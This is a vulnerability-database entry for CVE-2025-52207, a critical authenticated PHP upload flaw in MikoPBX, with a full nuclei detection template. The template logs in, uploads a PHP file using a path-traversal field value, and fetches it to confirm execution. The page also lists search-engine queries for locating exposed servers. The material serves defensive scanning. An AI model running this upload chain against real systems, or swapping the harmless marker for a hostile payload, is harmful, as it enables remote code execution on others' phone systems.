Browse / CVEs / CVE-2025-52207
CVE-2025-52207· miko / mikopbx· CWE-23
MikoPBX - Unrestricted File Upload
criticalseverity
9.9CVSS score
1.7%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it
MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
Impact
Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
Fix
Update to the latest version beyond 2024.1.114.
How to confirm it
Send: POST /admin-cabinet/session/start
Positive when: contains_all(body, 'BreadcrumbSessionstart') and contains(content_type, 'text/html') and status_code == 200
Send: POST /pbxcore/api/files/uploadFile
Positive when: status_code == 200 and contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")
Send: GET {{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}
Positive when: body==base64(filename) and status_code==200Run it with nuclei: nuclei -id CVE-2025-52207 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-52207
info:
name: MikoPBX - Unrestricted File Upload
author: darses
severity: critical
description: |
MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
impact: |
Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
remediation: |
Update to the latest version beyond 2024.1.114.
reference:
- https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
cvss-score: 9.9
cve-id: CVE-2025-52207
cwe-id: CWE-23
epss-score: 0.01663
epss-percentile: 0.769
metadata:
vendor: miko
product: mikopbx
shodan-query:
- product:"mikopbx"
- http.favicon.hash:8309143
- title:"MikoPBX"
fofa-query:
- icon_hash="8309143"
- title="MikoPBX"
tags: cve,cve2025,miko,mikopbx,intrusive,authenticated,file-upload,vuln,vkev
variables:
filename: "{{to_lower(rand_base(8))}}"
filecontent: "<?php echo(base64_encode(\"{{filename}}\")); ?>"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /admin-cabinet/session/start HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
WebAdminLanguage=en&login={{username}}&password={{password}}&rememberMeCheckBox=false&backUri=%2F
matchers:
- type: dsl
dsl:
- contains_all(body, 'BreadcrumbSessionstart')
- contains(content_type, 'text/html')
- status_code == 200
condition: and
internal: true
- raw:
- |
POST /pbxcore/api/files/uploadFile HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------{{filename}}
Accept-Encoding: gzip
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableFilename"
{{filename}}.php
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableIdentifier"
../files_cache/{{filename}}
-----------------------------{{filename}}
Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
Content-Type: application/octet-stream
{{filecontent}}
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableChunkNumber"
1
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableTotalChunks"
1
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableTotalSize"
{{len(filecontent)}}
-----------------------------{{filename}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")'
condition: and
internal: true
extractors:
- type: json
name: upload_path
json:
- .data.filename
internal: true
- type: dsl
name: extracted_path
dsl:
- replace_regex(upload_path, "(.*\/files_cache)\/", "")
internal: true
- method: GET
path:
- "{{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}"
matchers:
- type: dsl
dsl:
- body==base64(filename)
- status_code==200
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from